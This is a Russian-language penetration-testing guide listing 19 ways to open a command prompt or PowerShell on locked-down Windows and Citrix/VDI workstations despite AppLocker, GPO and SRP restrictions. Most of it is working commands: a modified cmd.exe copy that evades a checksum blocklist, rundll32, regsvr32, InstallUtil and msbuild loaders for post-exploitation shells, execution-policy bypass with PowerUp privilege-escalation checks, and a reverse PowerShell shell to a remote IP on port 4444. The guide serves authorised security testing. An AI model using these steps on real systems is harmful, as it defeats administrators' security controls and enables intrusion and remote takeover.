Жизненно важно выполнить тщательный анализ конфигурации хоста предоставленной рабочей станции. Однако это не тема данной статьи. Здесь мы сосредоточимся на очень конкретной области, а именно на доступе к инструментам командной строки. Таким образом, информация в этой статье применима также к различным решениям VDI (Virtual Desktop Infrastructure), таким как Citrix, VMWare и другим.
В большинстве зрелых сред и в большинстве этих тестов доступ к инструментам командной строки ограничен. Сотрудники обычно не могут запускать командную строку или PowerShell. Обычно это ограничивается с помощью AppLocker, GPO и / или SRP.
Cmd заблокирован администратором
Когда мы пытаемся запустить командную строку (cmd.exe), мы обычно видим следующее сообщение об ошибке:
The command prompt has been disabled by your administrator.
Press any key to continue . . .
PowerShell заблокирован групповой политикой
Точно так же, когда мы пытаемся запустить интерпретатор PowerShell (powershell.exe), мы обычно видим это сообщение об ошибке:
This app has been blocked by your system administrator.
Contact your system administrator for more info.
Можем ли мы как-то обойти эти ограничения и создать командную строку? В этой статье мы рассмотрим более 19 методов, как это сделать. Пока мы не нашли ни одного случая, когда бы мы не смогли добиться успеха с этими методами.
Произвольное выполнение команды по сравнению с созданием оболочки
Существует различие между выполнением произвольной команды (ACE) и созданием оболочки. Хотя ACE на самом деле не является предметом этой статьи, обычно необходимо выполнить ACE, чтобы обойти ограничения и создать интерактивное окно оболочки.
Давайте кратко упомянем несколько ресурсов и методов того, как мы обычно выполняем произвольные команды в системах Windows, когда все в жестких условиях.
PenTestРуководство для партнеров
В 2014 году Майкл Ярдли написал одно из лучших исчерпывающих руководств о том, как выйти из Citrix и других ограниченных рабочих сред. Он по-прежнему очень полезен, поскольку содержит основные концепции и методологии обхода различных ограничений. Вы можете найти это здесь:
Руководство содержит множество советов и приемов, как выполнять ACE, и даже несколько способов, как создать командную строку.
LOLBAS
Проект LOLBAS — это проект сообщества, каталогизирующий различные встроенные в Windows утилиты с «неожиданными» функциями, которые можно использовать по скрытым мотивам. Используя эти утилиты, мы можем загружать файлы, копировать вещи, выполнять ACE или полностью обходить некоторые ограничения. Проект находится здесь:
Но некоторые из самых простых, простых и эффективных способов выполнения ACE — это использование меню «Пуск» (поиск Кортаны), ярлыков или встроенных функций сценариев Windows. Эти вещи работают практически везде.
Кортана / меню Пуск
В меню Cortana / Start мы можем вызывать практически любую команду, которая нам нравится, включая сложные команды с параметрами и операторами перенаправления (>, >>). Совместите это с техникой LOLBAS, и вы практически ничего не сможете сделать.
Иногда мы также обнаруживаем, что предоставление полного пути к программам фактически преодолевает некоторые ограничения (см. Метод № 1 ниже).
Ярлыки
Используя ярлыки, мы также можем выполнять практически все, что угодно, включая сложные команды с параметрами. Однако обратите внимание, что операторы перенаправления не работают непосредственно в ярлыках, а также существует ограничение на длину команды (максимум 259 символов).
Пакетный (.bat)
Иногда создание командной строки ограничено, в то время как создание командного файла (.bat) и двойной щелчок по нему с радостью выполнят все команды в нем.
Visual Basic (.vbs)
Visual Basic также удобен для выполнения ACE, особенно в очень защищенных средах. Мы можем просто поместить произвольную команду в файл .vbs следующим образом:
cmd = "<COMMAND>"
out = "c:\users\public\output.txt"
Set a = CreateObject("Wscript.Shell").Exec(cmd)
Set o = CreateObject("Scripting.FileSystemObject")
Set oo = o.CreateTextFile(out,True)
oo.WriteLine(a.StdOut.ReadAll())
oo.WriteLine(a.StdErr.ReadAll())
oo.Close()
А затем выполните его с помощью cscript.exe или wscript.exe, например, через поиск Кортаны / меню Пуск или ярлык:
cscript c:\path\to\our.vbs
wscript c:\path\to\our.vbs
Затем результат будет записан в файл c: \ users \ public \ output.txt.
Существует практически неограниченное количество способов выполнения ACE в системе Windows. Давайте продолжим нашу тему.
Размещение файлов по доступным для записи путям
Одним из наиболее важных аспектов обхода ограничений является понимание того, что часто эти ограничения не применяются единообразно ко всем местоположениям в системе. Обычно в системе есть некоторые места (каталоги), где размещение наших файлов (исполняемых файлов, библиотек, кодов) позволяет обойти ограничения.
Что нас больше всего интересует, так это места, откуда мы можем писать и выполнять. Эти местоположения могут включать такие местоположения, как домашние папки, папки профиля, временные папки и многие другие. См. Следующий список для иллюстрации:
Обычно мы добиваемся большого успеха, используя эти места:
-
-
-
- C:\Users\Public
- C:\Windows\Tasks
- C:\Windows\Tracing
- C:\Windows\System32\Spool\Drivers\Color
-
-
Помните об этом, используя описанные ниже методы и пытаясь разместить предметы в этих местах. Обратите внимание, что вы также можете использовать следующий сценарий PowerShell для поиска таких мест:
Обход заблокированной командной строки
Метод 1. Используйте полные пути
Иногда, указав полный путь к cmd.exe в меню поиска / запуска Cortana, можно обойти ограничения и запустить его:
Вы можете сделать то же самое с powershell.exe. Чтобы найти все эти места, вы можете просто выполнить поиск в каталоге C: \ Windows с помощью файлового проводника или использовать следующие команды:
cd %windir%
dir /s /b cmd.exe
dir /s /b powershell.exe
Метод 2: импортировать объект в WordPad
Другой метод, который иногда работает как обходной путь, — это запустить редактор WordPad и затем вставить cmd.exe как объект вроде этого:
Метод 3: Cmd.bat
Это очень старый метод, вероятно, появившийся на заре Интернета.
Создайте следующий командный файл, назовите его как угодно, например a.bat и просто запустите его:
@echo off
:a
set /p comm=cmd~
%comm%
goto a
Скорее всего, вы получите командную строку. Если он все еще заблокирован, попробуйте переместить его в другое место, например, указанное выше.
Метод 4: ReactOS Cmd
Link: https://blog.didierstevens.com/2010/02/04/cmd-dll/
Это лакомство было создано Дидье Стивенсом (@DidierStevens) в 2010 году, и оно используется до сих пор. Это в основном переработанная командная строка Microsoft (cmd.exe), созданная проектом ReactOS, и практически на 100% совместима с ней. Дидье взял ее и преобразовал в DLL, так что это, по сути, командная строка, реализованная в виде библиотеки. Но Дидье на этом не остановился …
Последняя версия (https://didierstevens.com/files/software/cmd-dll_v0_0_4.zip) содержит следующие 3 формы:
Версия EXE (cmd.exe)
Вы просто дважды щелкаете исполняемый файл и запускаете его. Скорее всего, он не будет заблокирован антивирусным ПО, и появится окно командной строки ReactOS. Затем вы можете ввести любую команду, как в командной строке cmd.exe.
Версия DLL (cmd.dll)
Версия DLL, которую необходимо загрузить с помощью rundll32.exe, выглядит следующим образом:
rundll32.exe cmd.dll,main
Например, вы можете запустить его из диалогового окна «Выполнить» (Win + R), из меню поиска / «Пуск» Кортаны или с ярлыка. Окно командной строки ReactOS должно появиться следующим образом:
Версия VBA (cmd.dll.bin.vba)
Здесь вам в основном нужно создать документ Microsoft Office и добавить в него макрос. Вы также можете сделать это, например, из Outlook. После того, как вы открыли редактор макросов (Visual Basic IDE), просто перейдите:
-
-
-
- File -> Import File -> c:\path\to\cmd.dll.bin.vba
- Run (F5)
-
-
И должно появиться окно командной строки ReactOS.
Метод 5: FTP-клиент
На самом деле это не обход заблокированной командной строки, но будет справедливо включить метод здесь, потому что встроенный FTP-клиент (ftp.exe) позволяет выполнять команды в системе в интерактивном окне, как и fприглашение cmd.exe. . Клиент tp поддерживает использование bang (!) для запуска локальных команд.
Просто запустите ftp-клиент, например через меню Пуск:
-
-
-
- Start -> ftp
-
-
Иногда это может быть заблокировано, но когда вы укажете полный путь к нему, это сработает:
-
-
-
- Start -> c:\windows\system32\ftp.exe
-
-
Метод 6: обход контрольной суммы
Это один из наших любимых методов. Он работает, когда cmd.exe занесен в черный список на основе его контрольной суммы. Чтобы обойти это, просто сделайте копию cmd.exe и добавьте байт в ее конец (оверлей). Это изменит его контрольную сумму, но это не повлияет на функциональность. В основном мы должны выполнить следующие команды:
copy c:/windows/system32/cmd.exe c:\users\public\a.exe
echo >>c:\users\public\a.exe
c:\users\public\a.exe
Скорее всего, появится наша измененная командная строка. Пример создания его через ftp-клиент:
Тот же метод можно применить для создания интерпретатора powershell.exe.
Метод 7: консоль WMI
На самом деле это не обход заблокированной командной строки, но, опять же, будет справедливо включить его сюда, потому что консоль WMI (wmic.exe) открывает интерактивное окно, которое может быть даже более мощным, чем командная строка cmd.exe. Вот несколько полезных ссылок с примерами его использования:
Просто создайте консоль, например. через меню Пуск следующим образом:
-
-
-
- Start -> wmic
-
-
Если он заблокирован, попробуйте использовать полный путь следующим образом:
-
-
-
- Start -> C:\windows\syswow64\wbem\wmic.exe
-
-
Обход заблокированного PowerShell
В этом разделе перечислены различные известные методы обхода заблокированной оболочки PowerShell и запуска интерпретатора PowerShell и / или выполнения произвольных команд PowerShell. Большинство этих методов основано на настраиваемых инструментах, которые используют библиотеки PowerShell, имеющиеся в системах Windows.
Метод 8: PowerShdll
Link: https://github.com/p3nt4/PowerShdll
Этот инструмент был создан @ xP3nt4 в 2017 году. Это настраиваемый интерпретатор, подобный PowerShell, в форме DLL. Его можно запустить с rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe или как отдельный исполняемый файл.
Просто возьмите последнюю версию, перенесите ее на целевую машину и создайте ее, используя любую из этих команд:
# On x86/x64 platforms:
rundll32.exe PowerShdll,main
regsvr32.exe /s PowerShdll.dll
regsvr32.exe /s /u PowerShdll.dll
# On x64 platforms: C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
# On x86 platforms: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
У вас должно быть создано окно интерпретатора PowerShdll, готовое для ваших команд, например:
Обратите внимание, что существуют ограничения на длину команд (максимум 255 символов для команд), что может быть проблемой. Но вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell, чтобы обойти ограничения.
Метод 9: MSBuildShell
Link: https://github.com/Cn33liz/MSBuildShell
Этот проект из 2016 года был выполнен @ Cn33liz. Это еще один настраиваемый интерпретатор, подобный PowerShell, но он работает в Microsoft Build Engine (MSBuild.exe). Утилита MSBuild.exe является частью платформы .NET и присутствует практически в каждой установке Windows.
Просто возьмите файл MSBuildShell.csproj из репозитория, перенесите его на целевой компьютер и запустите следующим образом:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildShell.csproj # Or C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
У вас должно появиться окно интерпретатора MSBuildShell, готовое для ваших команд, например:
Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.
Метод 10: CScriptShell
Link: https://github.com/carnal0wnage/CScriptShell
Этот основан на MSBuildShell. Это было сделано в 2017 году также @Cn33liz путем улучшения метода обхода, опубликованного @SubTee. По сути, это тот же код, что и MSBuildShell, но на этот раз в виде DLL. Сначала вам нужно собрать DLL на своем компьютере с помощью csc.exe (компилятор C#) следующим образом:
# Create Your Strong Name Key (using PowerShell):
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQDpppNj5RmGMzd+NkKLJYCF4hDgM4K0KpgdHXfiNKXleoVrvpQz75gSNQJyN/pROTNBhEA0jp5IqrEqdJQsPzXYO
3l5JGDtpu3AD7dxge1oUWpugdk5ZHIMOsB1Il/FL+96m39ZZL7o5LHCdHdctEeTG+S15IDyM7L9VoAi7cXsueP7kvvTJETonQoz4JRdH889XnTDWeb
wj3ViH6zq+Xv5/l0iJh65v6VAzYLfCKEkFzev36w8RJYpwMMwwHDlCMvDYwdY2MFFp/ZQHg7If0BuDLM7D5ozGJnEVUTwwM+gZQ1LRn5EE6WrffQ/G
y2XtzvH4wRlYX939aOm8XVOPm3q0yVe40xxQaR3NR5v6G59dcZWU8baoZFes9mXg3ydQxkPgxbmjJ+Vfw0IVdj4VqrJ0O2IB+eSf9N305Hf32sqooO
uytsKIS/DBJ9T5njUV3rQZzguyKGdFZfE4flPBkuRWHXMM63kyKQNLalf3XRTKP3+4Aw+YS9Q+bH53Y4uIIVkR3uN8beKlXBCg1Ja+3qCyMrhSsuhE
evrsQTVypHWouG49esZSyYQoyXXxGKwpEuDFmdFmSXEnru54lb/PuOHVTlQHR7hd6TAe0tFOaJWDosNN1QPLTicIvmfeU5KvNsrBMmdnf7NF3yzNAN
5jf4DEYg1UK6x0s+IP2JCumjjTx4GIm3h/eO+AqlIy8xbUeZFyln3P5XSQ1ErRRiVGGp1TLa5vNPf8Y4LcV1LSSKnNspw7H3Fw0UyxDs5t+tNQ1I='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
# Compile DLL
C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /r:System.EnterpriseServices.dll,System.Management.Automation.dll /target:library /out:CScriptShell.dll
/keyfile:key.snk CScriptShell.cs
Затем вы можете взять созданный файл CScriptShell.dll и файл CScriptShell.js из репозитория и перенести их на целевую машину. Затем вы запускаете интерпретатор, запуская его через cscript.exe следующим образом:
cscript.exe CScriptShell.js
Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.
Способ 11: p0wnedShell
Link: https://github.com/Cn33liz/p0wnedShell
Это еще один инструмент, созданный @Cn33liz, первая фиксация которого была сделана в 2015 году. Это набор инструментов постэксплуатации PowerShell Runspace. По сути, это еще один интерпретатор, похожий на PowerShell, но он содержит множество полезных модулей и командлетов, встроенных внутрь.
Чтобы использовать его, вы должны собрать его с помощью Microsoft Visual Studio. После сборки перенесите созданный двоичный файл p0wnedShell.exe на цель и запустите его. Вы должны увидеть что-то вроде этого:
Выберите вариант 16 для интерактивного интерпретатора PowerShell. Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell. Обратите внимание, что интерпретатор поставляется с несколькими модулями постэксплуатации, уже загруженными в пространство выполнения.
Способ 12: PSShell
Link: https://github.com/fdiskyou/PSShell
Этот проект был выполнен @fdiskyou в 2016 году. Это интерактивный интерпретатор, похожий на PowerShell, и он существует в двух версиях (выпусках):
Версия 2.0: версия DLL
Этот вы должны скомпилировать с помощью Microsoft Visual Studio. После завершения компиляции перенесите созданный двоичный файл PSShell.dll на целевую машину и запустите его с помощью любой из следующих команд:
rundll32 PSShell.dll,EntryPoint
# Or
regsvr32 PSShell.dll
# Or regsvr32 /u PSShell.dll
Выпуск 1.0: версия EXE
Вы можете скомпилировать его с помощью встроенного компилятора C# csc.exe (не требуется Visual Studio). Обязательно загрузите версию 1.0, а затем скомпилируйте ее с помощью csc.exe следующим образом:
# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll
/out:C:\users\username\PSShell.exe /platform:x64 "C:\path\to\PSShell\Program.cs"
Затем просто перенесите созданный двоичный файл PSShell.exe на целевую машину и запустите его. Окно интерпретатора PSShell должно выглядеть так:
Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.
Способ 13: PowerOPS
Link: https://github.com/fdiskyou/PowerOPS
Это тоже от @fdiskyou и тоже из 2016 года. Это еще один интерактивный интерпретатор, похожий на PowerShell. Он называется PowerShell Runspace Portable Post Exploitation Tool. Он поставляется с рядом полезных модулей и функций, предварительно загруженных в среду выполнения. Сюда входят такие модули, как PowerSploit, Nishang, Empire и другие.
Процесс сборки прост и понятен — вы можете скомпилировать его с помощью csc.exe (не требуется Visual Studio). Просто клонируйте репозиторий и выполните:
# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll
/out:C:\users\username\PowerOPS.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"
Затем просто перенесите созданный двоичный файл PowerOPS.exe на целевую машину и запустите его. Окно интерпретатора PowerOPS должно выглядеть следующим образом:
Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell. Вы также можете использовать предварительно загруженные модули (PowerSploit, Nishang, Empire и т. д.).
Метод 14: Nps (не PowerShell)
Link: https://github.com/Ben0xA/nps
На самом деле это не интерпретатор PowerShell. Это инструмент, который позволяет запускать команды PowerShell без использования powershell.exe. Он был создан Беном Теном (@Ben0xA) в 2015 году.
В проект уже включен бинарный файл nps.exe, который вы можете использовать сразу (nps.zip). Или вы можете скомпилировать свою собственную версию и добавить некоторые запутывания, если это необходимо. Чтобы скомпилировать собственную версию, просто используйте встроенный компилятор C# csc.exe следующим образом:
# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\username\nps.exe /platform:x64 "C:\path\to\nps\*.cs"
Затем просто перенесите двоичный файл nps.exe в целевую систему и запустите его следующим образом:
# Usage:
nps.exe "powershell single command"
nps.exe "& {commands; semi-colon; separated}"
nps.exe -encodedcommand {base64_encoded_command}
nps.exe -encode "commands to encode to base64"
nps.exe -decode {base64_encoded_command}
Теперь вы можете запускать любые команды PowerShell с помощью nps.exe. Вы также можете импортировать дополнительные модули с помощью команды Import-Module. Вот пример с модулем PowerUp.ps1 для проверки повышения привилегий:
c:\users\public\nps.exe "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1;
Invoke-AllChecks >c:\users\public\results.txt"
Например, вы можете ввести его прямо в меню поиска / запуска Cortana, как показано ниже, и оно будет выполнено в окне консоли, не создавая ни одного экземпляра процесса powershell.exe:
Затем результаты будут записаны в файл c:\users\public\results.txt.
Способ 15: NoPowerShell
Link: https://github.com/bitsadmin/nopowershell
NoPowerShell был создан Arris Huijgen (@bitsadmin) в 2018 году. Это еще один интерпретатор, похожий на PowerShell, но он отличается от других — он не использует библиотеку System.Management.Automation.dll. Его цель — быть как можно более скрытным. Например, его можно загрузить в Cobalt Strike и выполнять команды в памяти. Он также содержит ряд встроенных модулей и командлетов для постэксплуатации.
Вы можете легко улучшить его и создать свою собственную версию (например, добавить некоторую анти-AV обфускацию) или вы можете просто взять двоичные файлы последней версии и перенести их на целевую машину.
Версия DLL порождает интерактивное окно подсказки, подобное этому:
# On x64 platforms:
rundll32.exe NoPowerShell64.dll,main
# On x86 platforms:
rundll32.exe NoPowerShell.dll,main
EXE-версия
Версия EXE не является интерактивным интерпретатором. Это больше похоже на описанный выше Nps, где он позволяет запускать команды, подобные PowerShell, без запуска powershell.exe. Пример:
# Usage:
NoPowerShell.exe [Command] [Parameters] | [Command2] [Parameters2] etc.
# Example:
NoPowerShell.exe Get-Command - list all supported commands
NoPowerShell.exe Get-ComputerInfo - get computer info
NoPowerShell.exe Get-NetIPAddress -All - get IP address configuration
NoPowerShell.exe Get-NetNeighbor - get ARP table
Обратите внимание, что у этого инструмента есть некоторые ограничения. Это не полноценная среда PowerShell. Например, вы не можете загружать дополнительные модули с помощью команды Import-Module или запускать произвольные команды PowerShell. Доступны только поддерживаемые команды. См. официальный Cheatsheet или запустите Get-Command для получения списка поддерживаемых команд.
Способ 16: PowerLine
Link: https://github.com/fullmetalcache/PowerLine
Это один из наших любимых. Этот инструмент был создан Брайаном Ферманом (@fullmetalcache) в 2017 году. Это не интерактивный интерпретатор, но он позволяет упаковать любое количество произвольно выбранных модулей PowerShell в один исполняемый файл. Вы должны сначала собрать это на своей машине, а затем перенести созданный исполняемый файл на целевую машину. Исполняемый файл будет содержать версии всех сценариев, которые вы указали в процессе сборки, в кодировке XOR и base64.
Процесс сборки очень прост и понятен — Visual Studio не требуется. Просто выполните следующие действия:
# 1. Clone the repository
git clone https://github.com/fullmetalcache/PowerLine.git
# 2. Run the build.bat file
cd PowerLine
build.bat
# 3. Edit the UserConf.xml file and add links to the PowerShell scripts that you would like to add:
notepad UserConf.xml
# 4. Run the PLBuilder.exe file
PLBuilder.exe
После завершения процесса сборки будет создан файл PowerLine.exe. Теперь вы можете взять этот файл и перенести его на целевую машину. Затем используйте его следующим образом:
# Usage:
PowerLine.exe -ShowScripts - list all embedded scripts
PowerLine.exe <Module> "Get-Command" - list all available commands
# Examples:
PowerLine.exe PowerUp "Invoke-AllChecks"
PowerLine.exe Invoke-WCMDump "Invoke-WCMDump"
Вот пример того, как это выглядит. Вы можете встроить в него практически все:
Например, внедрив модуль Invoke-PowerShellTcp (он включен по умолчанию), вы также можете запустить интерактивный интерпретатор PowerShell по сети следующим образом:
PowerLine.exe Invoke-PowerShellTcp "Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.223 -Port 4444"
Способ 17: PowerLessShell
Link: https://github.com/Mr-Un1k0d3r/PowerLessShell
Это еще один инструмент, который может запускать код PowerShell, не создавая ни одного экземпляра powershell.exe. Он был написан @MrUn1k0d3r в 2017 году. PowerLessShell — это инструмент Python, и он работает так, что вы поставляете ему скрипт PowerShell, и он преобразует его в файл csproj. Затем вы можете выполнить его через MSBuild.exe.
Метод 18: SharpPick
Link: https://github.com/TheKevinWang/SharpPick
Этот инструмент был первоначально разработан @sixdub в 2015 году как часть PowerTools. Позже он был улучшен Кевином Ваном в 2018 году. SharpPick не является интерактивным интерпретатором, но позволяет запускать произвольный код PowerShell, указанный в качестве параметра, аналогично Nps, PowerLine или NoPowerShell, описанным выше.
Сначала вы должны скомпилировать его на своей машине. Инструкции по его компиляции с помощью Microsoft Visual Studio задокументированы на веб-сайте. Мы также можем скомпилировать его с помощью csc.exe после некоторых незначительных изменений, выполнив следующие действия:
# Go to the latest .NET version folder,
e.g.: cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\sharppick.exe
/platform:x64 "C:\users\public\SharpPick.cs"
После компиляции просто перенесите бинарный файл Sharpick.exe в целевую систему и запустите его следующим образом:
Usage: sharppick.exe [<flag> <argument>]
flags:
-f <file> : Read script from specified file
-d <url> : Read script from URL
-a <delimeter> : Read script appended to current binary after specified delimeter.
-c <command> : PowerShell command to execute, enclosed on quotes.
Что хорошо в этом инструменте, так это то, что вы можете указать сценарий для запуска либо из файла, либо из URL-адреса. Вы также можете добавить произвольный код PowerShell в сам бинарный файл Sharpick.exe, а затем запустить его, используя параметр -a. Или вы можете просто указать команду в качестве параметра, используя параметр -c.
С помощью этого инструмента вы можете запускать любые команды PowerShell. Вы также можете импортировать дополнительные модули с помощью команды Import-Module. Вот снова пример с модулем PowerUp.ps1:
c:\users\public\sharppick.exe -c "Set-ExecutionPolicy -Scope CurrentUser Bypass; Import-Module c:\users\public\PowerUp.ps1; Invoke-AllChecks >c:\users\public\results.txt"
Вы могли бы, опять же, ввести эту команду прямо в меню поиска / запуска Cortana, как в нашем примере с nps.exe выше, или вы можете, например, создать новый ярлык и вставить туда команду следующим образом:
После двойного щелчка по ярлыку наша команда будет выполнена и результаты будут записаны в файл c:\users\public\results.txt. И все это без создания ни одного экземпляра powershell.exe.
Способ 19: Собственный минималистичный интерпретатор PowerShell
Link: https://decoder.cloud/2017/11/02/we-dont-need-powershell-exe/
В упомянутой статье, написанной @decoder_it в 2017 году, описывается метод написания собственного минималистского интерпретатора PowerShell и его компиляция с использованием встроенного компилятора C# (csc.exe). Мы вдохновились этим и создали собственную версию с некоторыми улучшениями для более удобного использования. Мы добавили поддержку команды cd, а также добавили возможность отлавливать ошибки, чтобы интерпретатор не вылетал. Вы можете найти его на нашем github ниже.
Link: https://github.com/InfosecMatter/Shells-for-restricted-environments/tree/master/minips
Доступны 2 версии:
Версия Minips.cs
Эту версию можно скомпилировать в исполняемый файл с помощью встроенного компилятора C# (csc.exe), выполнив следующие действия:
# Go to the latest .NET version folder, e.g.:
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
# Compile:
csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /out:C:\users\public\minips.exe
/platform:x64 "C:\users\public\minips.cs"
Затем вы просто запускаете созданный бинарный файл minips.exe в целевой системе, и окно интерпретатора будет выглядеть следующим образом:
Версия Minips.xml
Эту версию можно просто запустить с помощью Microsoft Build Engine (MSBuild.exe) следующим образом:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe c:\path\to\minips.xml
Вы можете снова ввести эту команду прямо в меню поиска/Пуск Cortana или в ярлык, и окно интерпретатора будет выглядеть так:
Теперь вы можете импортировать дополнительные модули и командлеты с помощью команды Import-Module или запускать любые другие команды PowerShell.
Дополнительные ссылки
- https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/
- https://github.com/api0cradle/UltimateAppLockerByPassList
- https://evi1cg.me/archives/ypassing_Applocker_with_MSBuild-exe.html
- https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html
- https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
- https://github.com/netbiosX/Checklists/blob/master/AppLocker.md
- https://github.com/api0cradle/PowerAL
Вывод
Очевидно, что всегда существует компромисс между удобством использования и безопасностью. Продолжайте исследовать возможные последствия и найдите правильный баланс, подходящий для вашей конкретной организации и ее профиля рисков.